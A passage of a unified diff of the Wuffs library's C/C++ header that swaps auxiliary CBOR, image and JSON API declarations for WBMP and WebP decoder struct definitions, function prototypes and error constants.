order to provide convenience methods. These forward on "this", so that you ++ // can write "bar->baz(etc)" instead of "wuffs_foo__bar__baz(bar, etc)". ++ wuffs_wbmp__decoder__struct() = delete; ++ wuffs_wbmp__decoder__struct(const wuffs_wbmp__decoder__struct&) = delete; ++ wuffs_wbmp__decoder__struct& operator=( ++ const wuffs_wbmp__decoder__struct&) = delete; ++#endif // defined(WUFFS_BASE__HAVE_EQ_DELETE) && !defined(WUFFS_IMPLEMENTATION) + +- // AppendXxx are called for leaf nodes: literals, numbers, strings, etc. ++#if !defined(WUFFS_IMPLEMENTATION) ++ // As above, the size of the struct is not part of the public API, and unless ++ // WUFFS_IMPLEMENTATION is #define'd, this struct type T should be heap ++ // allocated, not stack allocated. Its size is not intended to be known at ++ // compile time, but it is unfortunately divulged as a side effect of ++ // defining C++ convenience methods. Use "sizeof__T()", calling the function, ++ // instead of "sizeof T", invoking the operator. To make the two values ++ // different, so that passing the latter will be rejected by the initialize ++ // function, we add an arbitrary amount of dead weight. ++ uint8_t dead_weight[123000000]; // 123 MB. ++#endif // !defined(WUFFS_IMPLEMENTATION) + +- virtual std::string AppendNull() = 0; +- virtual std::string AppendUndefined() = 0; +- virtual std::string AppendBool(bool val) = 0; +- virtual std::string AppendF64(double val) = 0; +- virtual std::string AppendI64(int64_t val) = 0; +- virtual std::string AppendU64(uint64_t val) = 0; +- virtual std::string AppendByteString(std::string&& val) = 0; +- virtual std::string AppendTextString(std::string&& val) = 0; +- virtual std::string AppendMinus1MinusX(uint64_t val) = 0; +- virtual std::string AppendCborSimpleValue(uint8_t val) = 0; +- virtual std::string AppendCborTag(uint64_t val) = 0; ++ inline wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++ initialize( ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options) { ++ return wuffs_wbmp__decoder__initialize( ++ this, sizeof_star_self, wuffs_version, options); ++ } + +- // Push and Pop are called for container nodes: CBOR arrays (lists) and CBOR +- // maps (dictionaries). +- // +- // The flags bits combine exactly one of: +- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_NONE +- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_LIST +- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_DICT +- // and exactly one of: +- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_NONE +- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_LIST +- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_DICT ++ inline wuffs_base__image_decoder* ++ upcast_as__wuffs_base__image_decoder() { ++ return (wuffs_base__image_decoder*)this; ++ } + +- virtual std::string Push(uint32_t flags) = 0; +- virtual std::string Pop(uint32_t flags) = 0; ++ inline uint64_t ++ get_quirk( ++ uint32_t a_key) const { ++ return wuffs_wbmp__decoder__get_quirk(this, a_key); ++ } + +- // Done is always the last Callback method called by DecodeCbor, whether or +- // not parsing the input as CBOR encountered an error. Even when successful, +- // trailing data may remain in input and buffer. +- // +- // Do not keep a reference to buffer or buffer.data.ptr after Done returns, +- // as DecodeCbor may then de-allocate the backing array. +- // +- // The default Done implementation is a no-op. +- virtual void // +- Done(DecodeCborResult& result, sync_io::Input& input, IOBuffer& buffer); +-}; ++ inline wuffs_base__status ++ set_quirk( ++ uint32_t a_key, ++ uint64_t a_value) { ++ return wuffs_wbmp__decoder__set_quirk(this, a_key, a_value); ++ } + +-// The FooArgBar types add structure to Foo's optional arguments. They wrap +-// inner representations for several reasons: +-// - It provides a home for the DefaultValue static method, for Foo callers +-// that want to override some but not all optional arguments. +-// - It provides the "Bar" name at Foo call sites, which can help self- +-// document Foo calls with many arguemnts. +-// - It provides some type safety against accidentally transposing or omitting +-// adjacent fundamentally-numeric-typed optional arguments. ++ inline wuffs_base__status ++ decode_image_config( ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ return wuffs_wbmp__decoder__decode_image_config(this, a_dst, a_src); ++ } + +-// DecodeCborArgQuirks wraps an optional argument to DecodeCbor. +-struct DecodeCborArgQuirks { +- explicit DecodeCborArgQuirks(wuffs_base__slice_u32 repr0); +- explicit DecodeCborArgQuirks(uint32_t* ptr, size_t len); ++ inline wuffs_base__status ++ decode_frame_config( ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ return wuffs_wbmp__decoder__decode_frame_config(this, a_dst, a_src); ++ } + +- // DefaultValue returns an empty slice. +- static DecodeCborArgQuirks DefaultValue(); ++ inline wuffs_base__status ++ decode_frame( ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts) { ++ return wuffs_wbmp__decoder__decode_frame(this, a_dst, a_src, a_blend, a_workbuf, a_opts); ++ } + +- wuffs_base__slice_u32 repr; +-}; ++ inline wuffs_base__rect_ie_u32 ++ frame_dirty_rect() const { ++ return wuffs_wbmp__decoder__frame_dirty_rect(this); ++ } + +-// DecodeCbor calls callbacks based on the CBOR-formatted data in input. +-// +-// On success, the returned error_message is empty and cursor_position counts +-// the number of bytes consumed. On failure, error_message is non-empty and +-// cursor_position is the location of the error. That error may be a content +-// error (invalid CBOR) or an input error (e.g. network failure). +-DecodeCborResult // +-DecodeCbor(DecodeCborCallbacks& callbacks, +- sync_io::Input& input, +- DecodeCborArgQuirks quirks = DecodeCborArgQuirks::DefaultValue()); ++ inline uint32_t ++ num_animation_loops() const { ++ return wuffs_wbmp__decoder__num_animation_loops(this); ++ } + +-} // namespace wuffs_aux ++ inline uint64_t ++ num_decoded_frame_configs() const { ++ return wuffs_wbmp__decoder__num_decoded_frame_configs(this); ++ } + +-// ---------------- Auxiliary - Image ++ inline uint64_t ++ num_decoded_frames() const { ++ return wuffs_wbmp__decoder__num_decoded_frames(this); ++ } + +-namespace wuffs_aux { ++ inline wuffs_base__status ++ restart_frame( ++ uint64_t a_index, ++ uint64_t a_io_position) { ++ return wuffs_wbmp__decoder__restart_frame(this, a_index, a_io_position); ++ } + +-struct DecodeImageResult { +- DecodeImageResult(MemOwner&& pixbuf_mem_owner0, +- wuffs_base__pixel_buffer pixbuf0, +- std::string&& error_message0); +- DecodeImageResult(std::string&& error_message0); ++ inline wuffs_base__empty_struct ++ set_report_metadata( ++ uint32_t a_fourcc, ++ bool a_report) { ++ return wuffs_wbmp__decoder__set_report_metadata(this, a_fourcc, a_report); ++ } + +- MemOwner pixbuf_mem_owner; +- wuffs_base__pixel_buffer pixbuf; +- std::string error_message; +-}; ++ inline wuffs_base__status ++ tell_me_more( ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src) { ++ return wuffs_wbmp__decoder__tell_me_more(this, a_dst, a_minfo, a_src); ++ } + +-// DecodeImageCallbacks are the callbacks given to DecodeImage. They are always +-// called in this order: +-// 1. SelectDecoder +-// 2. HandleMetadata +-// 3. SelectPixfmt +-// 4. AllocPixbuf +-// 5. AllocWorkbuf +-// 6. Done +-// +-// It may return early - the third callback might not be invoked if the second +-// one fails - but the final callback (Done) is always invoked. +-class DecodeImageCallbacks { +- public: +- // AllocPixbufResult holds a memory allocation (the result of malloc or new, +- // a statically allocated pointer, etc), or an error message. The memory is +- // de-allocated when mem_owner goes out of scope and is destroyed. +- struct AllocPixbufResult { +- AllocPixbufResult(MemOwner&& mem_owner0, wuffs_base__pixel_buffer pixbuf0); +- AllocPixbufResult(std::string&& error_message0); ++ inline wuffs_base__range_ii_u64 ++ workbuf_len() const { ++ return wuffs_wbmp__decoder__workbuf_len(this); ++ } + +- MemOwner mem_owner; +- wuffs_base__pixel_buffer pixbuf; +- std::string error_message; +- }; ++#endif // __cplusplus ++}; // struct wuffs_wbmp__decoder__struct + +- // AllocWorkbufResult holds a memory allocation (the result of malloc or new, +- // a statically allocated pointer, etc), or an error message. The memory is +- // de-allocated when mem_owner goes out of scope and is destroyed. +- struct AllocWorkbufResult { +- AllocWorkbufResult(MemOwner&& mem_owner0, wuffs_base__slice_u8 workbuf0); +- AllocWorkbufResult(std::string&& error_message0); ++#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +- MemOwner mem_owner; +- wuffs_base__slice_u8 workbuf; +- std::string error_message; +- }; ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WBMP) || defined(WUFFS_NONMONOLITHIC) + +- virtual ~DecodeImageCallbacks(); ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__WEBP) || defined(WUFFS_NONMONOLITHIC) + +- // SelectDecoder returns the image decoder for the input data's file format. +- // Returning a nullptr means failure (DecodeImage_UnsupportedImageFormat). +- // +- // Common formats will have a FourCC value in the range [1 ..= 0x7FFF_FFFF], +- // such as WUFFS_BASE__FOURCC__JPEG. A zero FourCC value means that Wuffs' +- // standard library did not recognize the image format but if SelectDecoder +- // was overridden, it may examine the input data's starting bytes and still +- // provide its own image decoder, e.g. for an exotic image file format that's +- // not in Wuffs' standard library. The prefix_etc fields have the same +- // meaning as wuffs_base__magic_number_guess_fourcc arguments. SelectDecoder +- // implementations should not modify prefix_data's contents. +- // +- // SelectDecoder might be called more than once, since some image file +- // formats can wrap others. For example, a nominal BMP file can actually +- // contain a JPEG or a PNG. +- // +- // The default SelectDecoder accepts the FOURCC codes listed below. For +- // modular builds (i.e. when #define'ing WUFFS_CONFIG__MODULES), acceptance +- // of the ETC file format is optional (for each value of ETC) and depends on +- // the corresponding module to be enabled at compile time (i.e. #define'ing +- // WUFFS_CONFIG__MODULE__ETC). +- // - WUFFS_BASE__FOURCC__BMP +- // - WUFFS_BASE__FOURCC__GIF +- // - WUFFS_BASE__FOURCC__JPEG +- // - WUFFS_BASE__FOURCC__NIE +- // - WUFFS_BASE__FOURCC__NPBM +- // - WUFFS_BASE__FOURCC__PNG +- // - WUFFS_BASE__FOURCC__TGA +- // - WUFFS_BASE__FOURCC__WBMP +- virtual wuffs_base__image_decoder::unique_ptr // +- SelectDecoder(uint32_t fourcc, +- wuffs_base__slice_u8 prefix_data, +- bool prefix_closed); +- +- // HandleMetadata acknowledges image metadata. minfo.flavor will be one of: +- // - WUFFS_BASE__MORE_INFORMATION__FLAVOR__METADATA_RAW_PASSTHROUGH +- // - WUFFS_BASE__MORE_INFORMATION__FLAVOR__METADATA_PARSED +- // If it is ETC__METADATA_RAW_ETC then raw contains the metadata bytes. Those +- // bytes should not be retained beyond the the HandleMetadata call. +- // +- // minfo.metadata__fourcc() will typically match one of the +- // DecodeImageArgFlags bits. For example, if (REPORT_METADATA_CHRM | +- // REPORT_METADATA_GAMA) was passed to DecodeImage then the metadata FourCC +- // will be either WUFFS_BASE__FOURCC__CHRM or WUFFS_BASE__FOURCC__GAMA. +- // +- // It returns an error message, or an empty string on success. +- virtual std::string // +- HandleMetadata(const wuffs_base__more_information& minfo, +- wuffs_base__slice_u8 raw); +- +- // SelectPixfmt returns the destination pixel format for AllocPixbuf. It +- // should return wuffs_base__make_pixel_format(etc) called with one of: +- // - WUFFS_BASE__PIXEL_FORMAT__BGR_565 +- // - WUFFS_BASE__PIXEL_FORMAT__BGR +- // - WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL +- // - WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE +- // - WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL +- // - WUFFS_BASE__PIXEL_FORMAT__RGB +- // - WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL +- // - WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL +- // or return image_config.pixcfg.pixel_format(). The latter means to use the +- // image file's natural pixel format. For example, GIF images' natural pixel +- // format is an indexed one. +- // +- // Returning otherwise means failure (DecodeImage_UnsupportedPixelFormat). +- // +- // The default SelectPixfmt implementation returns +- // wuffs_base__make_pixel_format(WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL) which +- // is 4 bytes per pixel (8 bits per channel × 4 channels). +- virtual wuffs_base__pixel_format // +- SelectPixfmt(const wuffs_base__image_config& image_config); ++// ---------------- Status Codes + +- // AllocPixbuf allocates the pixel buffer. +- // +- // allow_uninitialized_memory will be true if a valid background_color was +- // passed to DecodeImage, since the pixel buffer's contents will be +- // overwritten with that color after AllocPixbuf returns. +- // +- // The default AllocPixbuf implementation allocates either uninitialized or +- // zeroed memory. Zeroed memory typically corresponds to filling with opaque +- // black or transparent black, depending on the pixel format. +- virtual AllocPixbufResult // +- AllocPixbuf(const wuffs_base__image_config& image_config, +- bool allow_uninitialized_memory); ++extern const char wuffs_webp__error__bad_huffman_code_over_subscribed[]; ++extern const char wuffs_webp__error__bad_huffman_code_under_subscribed[]; ++extern const char wuffs_webp__error__bad_huffman_code[]; ++extern const char wuffs_webp__error__bad_back_reference[]; ++extern const char wuffs_webp__error__bad_color_cache[]; ++extern const char wuffs_webp__error__bad_header[]; ++extern const char wuffs_webp__error__bad_transform[]; ++extern const char wuffs_webp__error__short_chunk[]; ++extern const char wuffs_webp__error__truncated_input[]; ++extern const char wuffs_webp__error__unsupported_number_of_huffman_groups[]; ++extern const char wuffs_webp__error__unsupported_transform_after_color_indexing_transform[]; ++extern const char wuffs_webp__error__unsupported_webp_file[]; + +- // AllocWorkbuf allocates the work buffer. The allocated buffer's length +- // should be at least len_range.min_incl, but larger allocations (up to +- // len_range.max_incl) may have better performance (by using more memory). +- // +- // The default AllocWorkbuf implementation allocates len_range.max_incl bytes +- // of either uninitialized or zeroed memory. +- virtual AllocWorkbufResult // +- AllocWorkbuf(wuffs_base__range_ii_u64 len_range, +- bool allow_uninitialized_memory); ++// ---------------- Public Consts + +- // Done is always the last Callback method called by DecodeImage, whether or +- // not parsing the input encountered an error. Even when successful, trailing +- // data may remain in input and buffer. +- // +- // The image_decoder is the one returned by SelectDecoder (if SelectDecoder +- // was successful), or a no-op unique_ptr otherwise. Like any unique_ptr, +- // ownership moves to the Done implementation. +- // +- // Do not keep a reference to buffer or buffer.data.ptr after Done returns, +- // as DecodeImage may then de-allocate the backing array. +- // +- // The default Done implementation is a no-op, other than running the +- // image_decoder unique_ptr destructor. +- virtual void // +- Done(DecodeImageResult& result, +- sync_io::Input& input, +- IOBuffer& buffer, +- wuffs_base__image_decoder::unique_ptr image_decoder); +-}; ++#define WUFFS_WEBP__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u + +-extern const char DecodeImage_BufferIsTooShort[]; +-extern const char DecodeImage_MaxInclDimensionExceeded[]; +-extern const char DecodeImage_MaxInclMetadataLengthExceeded[]; +-extern const char DecodeImage_OutOfMemory[]; +-extern const char DecodeImage_UnexpectedEndOfFile[]; +-extern const char DecodeImage_UnsupportedImageFormat[]; +-extern const char DecodeImage_UnsupportedMetadata[]; +-extern const char DecodeImage_UnsupportedPixelBlend[]; +-extern const char DecodeImage_UnsupportedPixelConfiguration[]; +-extern const char DecodeImage_UnsupportedPixelFormat[]; ++// ---------------- Struct Declarations + +-// The FooArgBar types add structure to Foo's optional arguments. They wrap +-// inner representations for several reasons: +-// - It provides a home for the DefaultValue static method, for Foo callers +-// that want to override some but not all optional arguments. +-// - It provides the "Bar" name at Foo call sites, which can help self- +-// document Foo calls with many arguemnts. +-// - It provides some type safety against accidentally transposing or omitting +-// adjacent fundamentally-numeric-typed optional arguments. ++typedef struct wuffs_webp__decoder__struct wuffs_webp__decoder; + +-// DecodeImageArgQuirks wraps an optional argument to DecodeImage. +-struct DecodeImageArgQuirks { +- explicit DecodeImageArgQuirks(wuffs_base__slice_u32 repr0); +- explicit DecodeImageArgQuirks(uint32_t* ptr, size_t len); ++#ifdef __cplusplus ++extern "C" { ++#endif + +- // DefaultValue returns an empty slice. +- static DecodeImageArgQuirks DefaultValue(); ++// ---------------- Public Initializer Prototypes + +- wuffs_base__slice_u32 repr; +-}; ++// For any given "wuffs_foo__bar* self", "wuffs_foo__bar__initialize(self, ++// etc)" should be called before any other "wuffs_foo__bar__xxx(self, etc)". ++// ++// Pass sizeof(*self) and WUFFS_VERSION for sizeof_star_self and wuffs_version. ++// Pass 0 (or some combination of WUFFS_INITIALIZE__XXX) for options. + +-// DecodeImageArgFlags wraps an optional argument to DecodeImage. +-struct DecodeImageArgFlags { +- explicit DecodeImageArgFlags(uint64_t repr0); ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_webp__decoder__initialize( ++ wuffs_webp__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options); + +- // DefaultValue returns 0. +- static DecodeImageArgFlags DefaultValue(); ++size_t ++sizeof__wuffs_webp__decoder(void); + +- // TODO: support all of the REPORT_METADATA_ETC flags, not just CHRM, EXIF, +- // GAMA, ICCP, KVP, SRGB and XMP. ++// ---------------- Allocs + +- // Background Color. +- static constexpr uint64_t REPORT_METADATA_BGCL = 0x0001; +- // Primary Chromaticities and White Point. +- static constexpr uint64_t REPORT_METADATA_CHRM = 0x0002; +- // Exchangeable Image File Format. +- static constexpr uint64_t REPORT_METADATA_EXIF = 0x0004; +- // Gamma Correction. +- static constexpr uint64_t REPORT_METADATA_GAMA = 0x0008; +- // International Color Consortium Profile. +- static constexpr uint64_t REPORT_METADATA_ICCP = 0x0010; +- // Key-Value Pair. +- // +- // For PNG files, this includes iTXt, tEXt and zTXt chunks. In the +- // HandleMetadata callback, the raw argument contains UTF-8 strings. +- static constexpr uint64_t REPORT_METADATA_KVP = 0x0020; +- // Modification Time. +- static constexpr uint64_t REPORT_METADATA_MTIM = 0x0040; +- // Offset (2-Dimensional). +- static constexpr uint64_t REPORT_METADATA_OFS2 = 0x0080; +- // Physical Dimensions. +- static constexpr uint64_t REPORT_METADATA_PHYD = 0x0100; +- // Standard Red Green Blue (Rendering Intent). +- static constexpr uint64_t REPORT_METADATA_SRGB = 0x0200; +- // Extensible Metadata Platform. +- static constexpr uint64_t REPORT_METADATA_XMP = 0x0400; ++// These functions allocate and initialize Wuffs structs. They return NULL if ++// memory allocation fails. If they return non-NULL, there is no need to call ++// wuffs_foo__bar__initialize, but the caller is responsible for eventually ++// calling free on the returned pointer. That pointer is effectively a C++ ++// std::unique_ptr. + +- uint64_t repr; +-}; ++wuffs_webp__decoder* ++wuffs_webp__decoder__alloc(void); + +-// DecodeImageArgPixelBlend wraps an optional argument to DecodeImage. +-struct DecodeImageArgPixelBlend { +- explicit DecodeImageArgPixelBlend(wuffs_base__pixel_blend repr0); ++static inline wuffs_base__image_decoder* ++wuffs_webp__decoder__alloc_as__wuffs_base__image_decoder(void) { ++ return (wuffs_base__image_decoder*)(wuffs_webp__decoder__alloc()); ++} + +- // DefaultValue returns WUFFS_BASE__PIXEL_BLEND__SRC. +- static DecodeImageArgPixelBlend DefaultValue(); ++// ---------------- Upcasts + +- wuffs_base__pixel_blend repr; +-}; ++static inline wuffs_base__image_decoder* ++wuffs_webp__decoder__upcast_as__wuffs_base__image_decoder( ++ wuffs_webp__decoder* p) { ++ return (wuffs_base__image_decoder*)p; ++} + +-// DecodeImageArgBackgroundColor wraps an optional argument to DecodeImage. +-struct DecodeImageArgBackgroundColor { +- explicit DecodeImageArgBackgroundColor( +- wuffs_base__color_u32_argb_premul repr0); ++// ---------------- Public Function Prototypes + +- // DefaultValue returns 1, an invalid wuffs_base__color_u32_argb_premul. +- static DecodeImageArgBackgroundColor DefaultValue(); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_webp__decoder__get_quirk( ++ const wuffs_webp__decoder* self, ++ uint32_t a_key); + +- wuffs_base__color_u32_argb_premul repr; +-}; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_webp__decoder__set_quirk( ++ wuffs_webp__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value); + +-// DecodeImageArgMaxInclDimension wraps an optional argument to DecodeImage. +-struct DecodeImageArgMaxInclDimension { +- explicit DecodeImageArgMaxInclDimension(uint32_t repr0); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_webp__decoder__decode_image_config( ++ wuffs_webp__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); + +- // DefaultValue returns 1048575 = 0x000F_FFFF, more than 1 million pixels. +- static DecodeImageArgMaxInclDimension DefaultValue(); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_webp__decoder__decode_frame_config( ++ wuffs_webp__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); + +- uint32_t repr; +-}; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_webp__decoder__decode_frame( ++ wuffs_webp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); + +-// DecodeImageArgMaxInclMetadataLength wraps an optional argument to +-// DecodeImage. +-struct DecodeImageArgMaxInclMetadataLength { +- explicit DecodeImageArgMaxInclMetadataLength(uint64_t repr0); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 ++wuffs_webp__decoder__frame_dirty_rect( ++ const wuffs_webp__decoder* self); + +- // DefaultValue returns 16777215 = 0x00FF_FFFF, one less than 16 MiB. +- static DecodeImageArgMaxInclMetadataLength DefaultValue(); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint32_t ++wuffs_webp__decoder__num_animation_loops( ++ const wuffs_webp__decoder* self); + +- uint64_t repr; +-}; ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_webp__decoder__num_decoded_frame_configs( ++ const wuffs_webp__decoder* self); + +-// DecodeImage decodes the image data in input. A variety of image file formats +-// can be decoded, depending on what callbacks.SelectDecoder returns. +-// +-// For animated formats, only the first frame is returned, since the API is +-// simpler for synchronous I/O and having DecodeImage only return when +-// completely done, but rendering animation often involves handling other +-// events in between animation frames. To decode multiple frames of animated +-// images, or for asynchronous I/O (e.g. when decoding an image streamed over +-// the network), use Wuffs' lower level C API instead of its higher level, +-// simplified C++ API (the wuffs_aux API). +-// +-// The DecodeImageResult's fields depend on whether decoding succeeded: +-// - On total success, the error_message is empty and pixbuf.pixcfg.is_valid() +-// is true. +-// - On partial success (e.g. the input file was truncated but we are still +-// able to decode some of the pixels), error_message is non-empty but +-// pixbuf.pixcfg.is_valid() is still true. It is up to the caller whether to +-// accept or reject partial success. +-// - On failure, the error_message is non_empty and pixbuf.pixcfg.is_valid() +-// is false. +-// +-// The callbacks allocate the pixel buffer memory and work buffer memory. On +-// success, pixel buffer memory ownership is passed to the DecodeImage caller +-// as the returned pixbuf_mem_owner. Regardless of success or failure, the work +-// buffer memory is deleted. +-// +-// The pixel_blend (one of the constants listed below) determines how to +-// composite the decoded image over the pixel buffer's original pixels (as +-// returned by callbacks.AllocPixbuf): +-// - WUFFS_BASE__PIXEL_BLEND__SRC +-// - WUFFS_BASE__PIXEL_BLEND__SRC_OVER +-// +-// The background_color is used to fill the pixel buffer after +-// callbacks.AllocPixbuf returns, if it is valid in the +-// wuffs_base__color_u32_argb_premul__is_valid sense. The default value, +-// 0x0000_0001, is not valid since its Blue channel value (0x01) is greater +-// than its Alpha channel value (0x00). A valid background_color will typically +-// be overwritten when pixel_blend is WUFFS_BASE__PIXEL_BLEND__SRC, but might +-// still be visible on partial (not total) success or when pixel_blend is +-// WUFFS_BASE__PIXEL_BLEND__SRC_OVER and the decoded image is not fully opaque. +-// +-// Decoding fails (with DecodeImage_MaxInclDimensionExceeded) if the image's +-// width or height is greater than max_incl_dimension or if any opted-in (via +-// flags bits) metadata is longer than max_incl_metadata_length. +-DecodeImageResult // +-DecodeImage(DecodeImageCallbacks& callbacks, +- sync_io::Input& input, +- DecodeImageArgQuirks quirks = DecodeImageArgQuirks::DefaultValue(), +- DecodeImageArgFlags flags = DecodeImageArgFlags::DefaultValue(), +- DecodeImageArgPixelBlend pixel_blend = +- DecodeImageArgPixelBlend::DefaultValue(), +- DecodeImageArgBackgroundColor background_color = +- DecodeImageArgBackgroundColor::DefaultValue(), +- DecodeImageArgMaxInclDimension max_incl_dimension = +- DecodeImageArgMaxInclDimension::DefaultValue(), +- DecodeImageArgMaxInclMetadataLength max_incl_metadata_length = +- DecodeImageArgMaxInclMetadataLength::DefaultValue()); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_webp__decoder__num_decoded_frames( ++ const wuffs_webp__decoder* self); + +-} // namespace wuffs_aux ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_webp__decoder__restart_frame( ++ wuffs_webp__decoder* self, ++ uint64_t a_index, ++ uint64_t a_io_position); + +-// ---------------- Auxiliary - JSON ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_webp__decoder__set_report_metadata( ++ wuffs_webp__decoder* self, ++ uint32_t a_fourcc, ++ bool a_report); + +-namespace wuffs_aux { ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_webp__decoder__tell_me_more( ++ wuffs_webp__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__more_information* a_minfo, ++ wuffs_base__io_buffer* a_src); + +-struct DecodeJsonResult { +- DecodeJsonResult(std::string&& error_message0, uint64_t cursor_position0); ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_webp__decoder__workbuf_len( ++ const wuffs_webp__decoder* self); + +- std::string error_message; +- uint64_t cursor_position; +-}; ++#ifdef __cplusplus ++} // extern "C" ++#endif + +-class DecodeJsonCallbacks { +- public: +- virtual ~DecodeJsonCallbacks(); ++// ---------------- Struct Definitions + +- // AppendXxx are called for leaf nodes: literals, numbers and strings. For +- // strings, the Callbacks implementation is responsible for tracking map keys +- // versus other values. ++// These structs' fields, and the sizeof them, are private implementation ++// details that aren't guaranteed to be stable across Wuffs versions. ++// ++// See https://en.wikipedia.org/wiki/Opaque_pointer#C + +- virtual std::string AppendNull() = 0; +- virtual std::string AppendBool(bool val) = 0; +- virtual std::string AppendF64(double val) = 0; +- virtual std::string AppendI64(int64_t val) = 0; +- virtual std::string AppendTextString(std::string&& val) = 0; ++#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) + +- // Push and Pop are called for container nodes: JSON arrays (lists) and JSON +- // objects (dictionaries). ++struct wuffs_webp__decoder__struct { ++ // Do not access the private_impl's or private_data's fields directly. There ++ // is no API/ABI compatibility or safety guarantee if you do so. Instead, use ++ // the wuffs_foo__bar__baz functions. + // +- // The flags bits combine exactly one of: +- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_NONE +- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_LIST +- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_DICT +- // and exactly one of: +- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_NONE +- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_LIST +- // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_DICT ++ // It is a struct, not a struct*, so that the outermost wuffs_foo__bar struct ++ // can be stack allocated when WUFFS_IMPLEMENTATION is defined. + +- virtual std::string Push(uint32_t flags) = 0; +- virtual std::string Pop(uint32_t flags) = 0; ++ struct { ++ uint32_t magic; ++ uint32_t active_coroutine; ++ wuffs_base__vtable vtable_for__wuffs_base__image_decoder; ++ wuffs_base__vtable null_vtable; + +- // Done is always the last Callback method called by DecodeJson, whether or +- // not parsing the input as JSON encountered an error. Even when successful, +- // trailing data may remain in input and buffer. See "Unintuitive JSON +- // Parsing" (https://nullprogram.com/blog/2019/12/28/) which discusses JSON +- // parsing and when it stops. +- // +- // Do not keep a reference to buffer or buffer.data.ptr after Done returns, +- // as DecodeJson may then de-allocate the backing array. +- // +- // The default Done implementation is a no-op. +- virtual void // +- Done(DecodeJsonResult& result, sync_io::Input& input, IOBuffer& buffer); +-}; ++ uint32_t f_pixfmt; ++ uint32_t f_width; ++ uint32_t f_height; ++ uint8_t f_call_sequence; ++ uint8_t f_code_length_code_lengths[19]; ++ bool f_sub_chunk_has_padding; ++ uint64_t f_frame_config_io_position; ++ uint32_t f_riff_chunk_length; ++ uint32_t f_sub_chunk_length; ++ uint32_t f_bits; ++ uint32_t f_n_bits; ++ bool f_seen_transform[4]; ++ uint8_t f_transform_type[4]; ++ uint8_t f_transform_tile_size_log2[4]; ++ uint32_t f_n_transforms; ++ uint32_t f_color_cache_bits; ++ uint32_t f_overall_color_cache_bits; ++ uint32_t f_overall_tile_size_log2; ++ uint32_t f_overall_n_huffman_groups; ++ uint32_t f_ht_n_symbols; ++ uint32_t f_ht_code_lengths_remaining; ++ uint32_t f_color_indexing_palette_size; ++ uint32_t f_color_indexing_width; ++ uint32_t f_workbuf_offset_for_transform[4]; ++ uint32_t f_workbuf_offset_for_color_indexing; ++ wuffs_base__pixel_swizzler f_swizzler; + +-extern const char DecodeJson_BadJsonPointer[]; +-extern const char DecodeJson_NoMatch[]; ++ 